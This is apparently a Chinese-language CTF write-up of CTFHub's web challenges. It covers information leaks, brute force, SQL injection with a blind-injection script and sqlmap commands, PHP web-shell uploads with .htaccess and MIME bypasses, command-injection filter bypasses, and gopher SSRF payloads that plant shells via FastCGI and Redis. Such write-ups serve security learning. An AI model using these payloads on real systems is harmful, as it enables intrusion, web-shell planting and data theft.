CTFHUB技能树——web篇

这篇具有很好参考价值的文章主要介绍了CTFHUB技能树——web篇。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTFHUB技能树——web篇

前言

因为我一开始是没打算写博客的,所有前面的图基本都没截图,以至于后面想写博客的时候没图,又没有金币了,我想吃西瓜都吃不到,更别说充金币。分币不花,玩的就是陪伴。前面的一些图来自于大佬们的博客,我会在结尾@出来。

web前置技能

HTTP协议

请求方式

用bp抓包把请求头改为CTFHUB即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

302跳转

301重定向和302重定向的区别:

302重定向只是暂时的重定向,搜索引擎会抓取新的内容而保留旧的地址;

301重定向是永久的重定向,搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址。

bp抓包重放即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

Cookie

bp操作cookie

ctfhub技能树web,网络安全,安全,计算机网络,web安全

基础认证

简介:
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证

附件提供了密码,很明显就是爆破

用bp中的intruder模块即可爆破

ctfhub技能树web,网络安全,安全,计算机网络,web安全

根据抓包可知,本网页提交会将用户名密码经过base64加密后提交,且格式为:

用户名:密码

先载入字典

ctfhub技能树web,网络安全,安全,计算机网络,web安全

增加爆破规则:
增加前缀YWRtaW46(admin:的base64的编码)

ctfhub技能树web,网络安全,安全,计算机网络,web安全

再加上base64

ctfhub技能树web,网络安全,安全,计算机网络,web安全

将爆破后所得结果base64解码提交即可

响应包源代码

看一下源码就出来了,不知道要考啥

信息泄露

目录遍历

乱点即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

phpinfo

在网站后加上phpinfo,查找flag即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

备份文件下载

网站源码

手动试 脚本 御剑都可

下面是脚本

import requests

url = "http://challenge-asd2b3af19e2c1e7.sandbox.ctfhub.com:10080/"

l1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
l2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in l1:
    for j in l2:
        url_final = url + "/" + i + "." + j
        r = requests.get(url_final)
        print(str(r)+"+"+url_final)

bak文件

bak是一个备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。

直接访问bak文件

ctfhub技能树web,网络安全,安全,计算机网络,web安全

flag在bak文件里

vim缓存
swp文件:非正常关闭vim就会生成swp文件

所以我们访问swp

ctfhub技能树web,网络安全,安全,计算机网络,web安全

获取到swp文件后,直接编辑的话是一堆乱码,因为其并不是文本格式

ctfhub技能树web,网络安全,安全,计算机网络,web安全ctfhub技能树web,网络安全,安全,计算机网络,web安全
.DS_Store

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

直接访问

ctfhub技能树web,网络安全,安全,计算机网络,web安全

点击下载好的文件 用记事本打开 再返回到网站链接输入这串数字之间不能有空格 回车即可得到flag

git泄露

git svn hg这些题都是使用kali操作的

git是什么?

Git(读音为/gɪt/)是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。也是Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件。
著名的GitHub就是以git为基础构造的 现在很多公司都使用git 因为他简单 高效

安装工具:githack

链接: https://github.com/BugScanTeam/GitHack

kali自带git 可以用下面的命令直接安装

git clone https://github.com/BugScanTeam/GitHack
log

在GitHack文件夹中使用python GitHack.py url/.git/

ctfhub技能树web,网络安全,安全,计算机网络,web安全

跳转对应url生成的文件夹下

ctfhub技能树web,网络安全,安全,计算机网络,web安全

使用git show 命令就可以直接得到flag

ctfhub技能树web,网络安全,安全,计算机网络,web安全

stash

同上,在GitHack文件夹中使用python GitHack.py url/.git/

跳转对应url生成的文件夹下

输入 git stash list 查看git stash所储藏的修改

ctfhub技能树web,网络安全,安全,计算机网络,web安全

输入git stash pop 查看git stash最近一次入站的命令,在这道题就是flag

ctfhub技能树web,网络安全,安全,计算机网络,web安全

打开challenge-9c602df6b94b6402.sandbox.ctfhub.com_10800文件加下的txt文件就可得到flag

index

同上,在GitHack文件夹中使用python GitHack.py url/.git/

跳转对应url生成的文件夹下

输入git log 显示提交日志信息。

ctfhub技能树web,网络安全,安全,计算机网络,web安全

输入git diff +(commit后面的内容)

ctfhub技能树web,网络安全,安全,计算机网络,web安全

SVN泄露

安装dvcs-ripper

git clone https://github.com/kost/dvcs-ripper.git

安装相应的依赖包

sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite4-perl libclass-dbi-perl libio-all-lwp-perl
sudo apt-get install libparallel-forkmanager-perl libredis-perl libalgorithm-combinatorics-perl
sudo apt-get install cvs subversion git bzr mercurial

在dvcs-ripper文件夹下运行

perl rip-svn.pl -v -u http://www.example.com/.svn/

用ls-al查看隐藏文件(也可用ctrl+H在文件夹下查看)

最后在这个目录下:

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

HG泄露

在dvcs-ripper文件夹下用

perl ./rip-hg.pl -v -u http://www.example.com/.hg

tree .hg(没有可以直接下载sudo apt-get install tree)

ctfhub技能树web,网络安全,安全,计算机网络,web安全

看到一个.txt,打开看看

ctfhub技能树web,网络安全,安全,计算机网络,web安全

利用正则匹配找一下flag

ctfhub技能树web,网络安全,安全,计算机网络,web安全

放到浏览器看即可

http://www.example.com/flag_2658329700.txt

密码口令

弱口令

什么是弱口令?

弱口令是网络安全十大安全漏洞之一,所谓的口令其实就是我们的密码,而弱口令就是相对来说比较容易被破解的密码,它会对信息安全造成严重的安全隐患。
弱口令我们可以简单的理解为能让别人随意就猜到的密码,比如abc、111、123、123456、88888888等等诸如此类的密码。
  除此之外大家都能知道的密码称之为弱口令。还有以下的几点也如果不达到要求也可以称之为弱口令:
①空口令,没有设置密码
②口令小于8个字符且较为简单
③口令为连续的字母或者单纯数字
④口令为本人相关的名字字母,生日,易被发现的邮箱号,账号名昵称名,都可以称为弱口令,可以定义为针对你的弱口令,而不是普遍的弱口令。

弱口令一旦被破解将面临很严重的资产风险,在网络安全方面,我们的云主机,服务器一旦暴露了我们的登录密码则会导致我们的主机被入侵,导致我们网站,app,主机载体的内容受到损坏,可能导致不可逆的破坏和严重的经济损失。

同时不仅仅是主机、服务器,弱口令还涉及到我们日常的各类登录密码邮箱,微信、qq、web注册页面等等都是我们需要留意的,账号价值高的账户一定要设置安全复杂口令。

复杂口令建议:8字符以上且包含英文大小写+数字+符号的组合,同时一旦有暴露口令的风险一定要及时更换口令。

使用bp进行密码爆破即可 不多逼逼

默认口令

打开之后看到

ctfhub技能树web,网络安全,安全,计算机网络,web安全

去百度查亿邮邮件网关的默认口令

剩下的就是一个一个试,拿到flag

SQL注入

注入流程:

1.判断数据类型

id=1 and 1=1  	不报错			id=1 and 1=2		报错		#数字型
id=1' and 1=1#  	不报错			id=1' and 1=2#		报错		#字符型

2.使用order by查询字段数
order by x 后面接数字x是根据该表的第x列以默认升序方式排列,如果没有第x列则会报错,反之会执行。可以不断使用order by x这种方式来判断该表的字段数。(在这里都是2个字段,即order by 3就报错)

3.使用联合查询爆库名

union select database();

4.使用联合查询爆表名

union select database(),group_concat(table_name) from information_schema.tables where table_schema=database();

5.使用联合查询爆字段名

union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="查询到的表名";

6.使用联合查询在表中查询所需要的字段信息

union select database(),group_concat(username,'+',password) from "表名"

整数型注入

跟流程走即可

1 order by 2

ctfhub技能树web,网络安全,安全,计算机网络,web安全

1 order by 3

ctfhub技能树web,网络安全,安全,计算机网络,web安全

字段数为2

-1 union select 1,database()

ctfhub技能树web,网络安全,安全,计算机网络,web安全

数据库名称为sqli

-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

ctfhub技能树web,网络安全,安全,计算机网络,web安全

有两个表,我们需要进入flag表

-1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'

ctfhub技能树web,网络安全,安全,计算机网络,web安全

flag表中中只有一个字段也是flag

-1 union select 1,flag from sqli.flag

ctfhub技能树web,网络安全,安全,计算机网络,web安全

字符型注入

照着上面写

报错注入

简单来说就是正确的没回显,错了还有回显

使用 updatexml得到库名

/?id=-1 and updatexml(1,concat(1,database()),2)

ctfhub技能树web,网络安全,安全,计算机网络,web安全

接下来获取表名,输入

/?id=-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)

ctfhub技能树web,网络安全,安全,计算机网络,web安全

获取flag表字段

/?id=-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2)

ctfhub技能树web,网络安全,安全,计算机网络,web安全

获取flag字段值

/?id=-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2)

ctfhub技能树web,网络安全,安全,计算机网络,web安全

布尔盲注

核心语句

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
/?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))

第一个字母为s 时 回显success

ctfhub技能树web,网络安全,安全,计算机网络,web安全

第一个字母为a 时 回显error

ctfhub技能树web,网络安全,安全,计算机网络,web安全

tm的这么判断得整到啥时候去 所以得用脚本(自己写或者sqlmap)

脚本

import requests
 
start_url = 'http://challenge-4456dbf40a5c166f.sandbox.ctfhub.com:10800' #改成自己的url
starOperatorTime = []
mark = 'query_success'
 
def database_name():
    name = ''
    for j in range(1,9):
        for i in 'qwertyuiopasdfghjklzxcvbnm':
            url = start_url+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
            r = requests.get(url)
            if mark in r.text:
                name = name+i
 
                print(name)
 
                break
    print('database_name:',name)
 
 
 
def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'qwertyuiopasdfghjklzxcvbnm':
                url = start_url+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)
 
 
def column_name():
    list = []
    for k in range(0,3): #判断表里最多有3个字段
        name=''
        for j in range(1,10): #判断一个 字段名最多有10个字符组成
            for i in 'qwertyuiopasdfghjklzxcvbnm':
                url=start_url+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)
 
 
def get_data():
    name=''
    for j in range(1,40): #判断一个值最多有40个字符组成
        for i in range(48,126):
            url=start_url+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
            r=requests.get(url)
            if mark in r.text:
                name=name+chr(i)
                print(name)
                break
    print ('value:',name)
 
 
 
if __name__ == '__main__':
    database_name()
    table_name()
    column_name()
    get_data()

时间盲注

接下来掏出我们sql注入的神器:sqlmap

下载地址:https://sqlmap.org/

为神马?因为他好用啊!!

先说以下时间盲注的核心语句

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

用sqlmap查库

python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T --dbs

得到了 库名

ctfhub技能树web,网络安全,安全,计算机网络,web安全

查表

python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli --tables

查字段

python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag --columns

查值

python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump

ctfhub技能树web,网络安全,安全,计算机网络,web安全

MySQL结构

跟上关一样,换个表名和字段名,直接sqlmap梭哈

Cookie注入

抓包修改Cookie(burpsuite)

发现两个注入点

爆出库名

下面就是一样的流程,查表,查字段,查flag(不过到这里开始表名,字段名都是随机生成的)

UA注入

在ua头里操作即可

Refer注入

在referer里操作(这里我用火狐插件HackBar来操作,这插件很方便)

过滤空格

吧空格换为/**/即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

文件上传

无验证

直接上传一句话木马,蚁剑连接就行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Z19kqRT-1681990837733)(https://raw.githubusercontent.com/2453862397/mdImage/main/img/QQ%E6%88%AA%E5%9B%BE20230410083348.png)]

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

前端验证

将2.php(一句话木马)改为png的格式,上传绕过前端,用bp抓包改为php即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

.htaccess

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

在这里的作用是让别的文件以php的方式运行,这个题中f12可以看到代码过滤了很多的文件后缀名,所以我们的思路是以png的格式上传,之后上传htaccess文件,就可以让png的文件以php的方式运行

思路:
1、上传png格式的一句话木马
2、上传.htaccess文件

AddType application/x-httpd-php .png  			//.png文件当作php文件解析

3、蚁剑连接

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

MIME绕过

上传木马,将Content-Type改为png格式即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

00截断

如图所示

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

双写后缀

字面意思

ctfhub技能树web,网络安全,安全,计算机网络,web安全

文件头检查

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

RCE

eval执行

ctfhub技能树web,网络安全,安全,计算机网络,web安全

/?cmd=system("ls /");			//查看根目录 发现flag_1203

ctfhub技能树web,网络安全,安全,计算机网络,web安全

/?cmd=system("cat /flag_1203");			//使用cat 命令查看 flag_8999文件

ctfhub技能树web,网络安全,安全,计算机网络,web安全

文件包含

目提示 i have a shell, how to use it?

可知shell文件是shell.txt 我们包含shell.txt文件 就可以用eval()函数执行任意命令

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

php://input

看题目就知道,是考察我们对php伪协议的理解

ctfhub技能树web,网络安全,安全,计算机网络,web安全

我们在phpinfo()界面里发现 allow_url_include on

php://input

用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.

因此可以用php://input 来执行post输入流的命令

ctfhub技能树web,网络安全,安全,计算机网络,web安全

下面就是正常的流程

ctfhub技能树web,网络安全,安全,计算机网络,web安全

读取源代码(php://filter)

和上一题一样,也是考察我们对php伪协议的了解,不多说。

ctfhub技能树web,网络安全,安全,计算机网络,web安全

远程包含

虽说写的远程包含,但还是input伪协议简单点

​ phpinfo()发现,allow_url_fopen 和include都on,存在远程文件包含

ctfhub技能树web,网络安全,安全,计算机网络,web安全

和input那题一样的操作

ctfhub技能树web,网络安全,安全,计算机网络,web安全

命令注入

ping 命令可以测一下与主机网络联通情况。但是如果过滤不严的话,也会导致恶意命令执行。

可以用管道符 来执行我们想执行的命令。

传入 127.0.0.1 | ls

照着流程走就行

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

过滤cat

两种方法:

1 可以用其他查看文本命令,比如tac,head,tail,nl,vim,less,more等
2 使用 \ '' "" {任意无意义变量名}等方法绕过

ctfhub技能树web,网络安全,安全,计算机网络,web安全

过滤空格

空格过滤绕过:
${IFS}
$IFS$
$IFS$1
$IFS$9
%09
%20
<>
<

ctfhub技能树web,网络安全,安全,计算机网络,web安全

过滤目录分隔符

目录分隔符 / 被过滤了。

127.0.0.1&ls		//可以看到 flag_is_here 文件夹		
127.0.0.1;cd flag_is_here;ls  //这里使用 ; 或者 && 执行多条命令
进入文件夹,显示目录
127.0.0.1;cd flag_is_here;cat flag_************.php //cat 查看flag文件 

ctfhub技能树web,网络安全,安全,计算机网络,web安全

过滤运算符

命令分隔符
linux中:

%0a(回车) %0d(换行)   
;    
&      
|       
&&    
||

windows中:

%0a
&
|
%1a(作为.bat文件中的命令分隔符)

题目对管道符 | & || &&,进行了过滤。

127.0.0.1;ls				//使用 ;即可
127.0.0.1;cat flag_*************.php

ctfhub技能树web,网络安全,安全,计算机网络,web安全

综合过滤练习

/?ip=127.0.0.1%0acd${IFS}f*_is_here${IFS}%0als
//%0a是命令分隔符,${IFS}是空格,f*_is_here是正则。翻译过来就是/?ip=127.0.0.1&cd flag_is_here &ls

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

SSRF

内网访问

根据提示直接打开访问即可

ctfhub技能树web,网络安全,安全,计算机网络,web安全

伪协议读取文件

根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:

file:///
dict://
sftp://
ldap://
tftp://
gopher://(万金油)

网站的根目录一般都是在/var/www/html下
使用file:///协议

ctfhub技能树web,网络安全,安全,计算机网络,web安全

查看源代码就能看到flag

端口扫描

端口扫描一般都使用dict伪协议

提示,端口8000-9000

so,两种方法

bp爆破端口
写个简单脚本

脚本:

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

tm的,我搞半天也没搞出来,后来换个bp就好了

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

POST请求

后面的题都做得一知半解的,Gopher协议都是多老的协议的,还拿出来比划比划。

了解一下Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

我们访问flag.php 会给我们一个上传框,同时给了我们key

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

结合题目,需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload

构造post请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=dbb8dsdfasdfasdfasdfdsavzxv(按自己的写)

用大佬的脚本,

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

生成payload

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=12dd6ab1a18c2fabacb046757c84de1b

上传文件

根据提示上传文件

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

补上提交按钮

ctfhub技能树web,网络安全,安全,计算机网络,web安全

我们需要通过get方式来进行上传一个文件到flag.php,利用gopher协议:
通过上面大佬的脚本对请求包进行编码:

生成payload

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A97.0%2529%2520Gecko/20100101%2520Firefox/97.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------32122413682081012985660864680%250D%250AContent-Length%253A%2520448%250D%250AOrigin%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.c%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A%2523include%253Cstdio.h%253E%250D%250Aint%2520main%2528%2529%250D%250A%257B%250D%250A%2509int%2520a%252Cb%252Cc%253B%250D%250A%2509scanf%2528%2522%2525d%2520%2525d%2522%252C%2526a%252C%2526b%2529%253B%250D%250A%2509c%253Da%252Ab%253B%250D%250A%2509printf%2528%2522%2525d%2522%252C%2526c%2529%253B%250D%250A%2509return%25200%253B%250D%250A%257D%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------32122413682081012985660864680--%250D%250A%250D%250A

FastCGI协议

FastCGI协议详解:https://blog.csdn.net/mysteryflower/article/details/94386461

Gopherus工具:https://github.com/tarunkant/Gopherus.git

kali安装Gopherus工具

git clone https://github.com/tarunkant/Gopherus.git

准备一句话木马:<?php @eval($_POST['x']);?>,

构造要执行的终端命令:对一句话木马进行base64编码,并写入到名为shell.php的文件中。

echo “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php

运行Gopherus

python2 gopherus.py --exploit fastcgi

ctfhub技能树web,网络安全,安全,计算机网络,web安全

将生成的payload进行编码

?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30

访问后shell.php已经上传到网站根目录下:
蚁剑连接:

ctfhub技能树web,网络安全,安全,计算机网络,web安全

ctfhub技能树web,网络安全,安全,计算机网络,web安全

Redis协议

运行gopherus

python2 gopherus.py --exploit redis				//按下图填写

ctfhub技能树web,网络安全,安全,计算机网络,web安全

将生成的payload进行编码

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bstray%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A

访问shell.php(默认上传的文件名为shell.php):

ctfhub技能树web,网络安全,安全,计算机网络,web安全

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

1.利用?绕过限制url=https://www.baidu.com?www.xxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

这题我们就可以利用@符号绕过:

题目要求 url must startwith “http://notfound.ctfhub.com”,我们可以利用@来绕过。
如 http://clay@127.0.0.1 实际上是以用户名 clay 连接到站点 127.0.0.1。
即 http://notfound.ctfhub.com@127.0.0.1 与 http://127.0.0.1 请求是相同的。

ctfhub技能树web,网络安全,安全,计算机网络,web安全

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了,但可以用别的方法:

127.0.0.1的十进制:2130706433
127.0.0.1的十六进制:0x7F000001

ctfhub技能树web,网络安全,安全,计算机网络,web安全

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

302跳转代码:

<?php 
header("Location: http://127.0.0.1/flag.php");
?>

使用localhost也是一样的道理:

?url=localhost/flag.php

另一种方式:
就是在服务器上写入上面的302跳转代码,

http://challenge-cc5e39e4db13d74.sandbox.ctfhub.com:10800/?url=yourip:port/302.php

此题不能进行http的访问,但是127.0.0.1(localhost)可以访问

ctfhub技能树web,网络安全,安全,计算机网络,web安全

DNS重绑定 Bypass

验证工具

https://lock.cmpxchg8b.com/rebinder.html

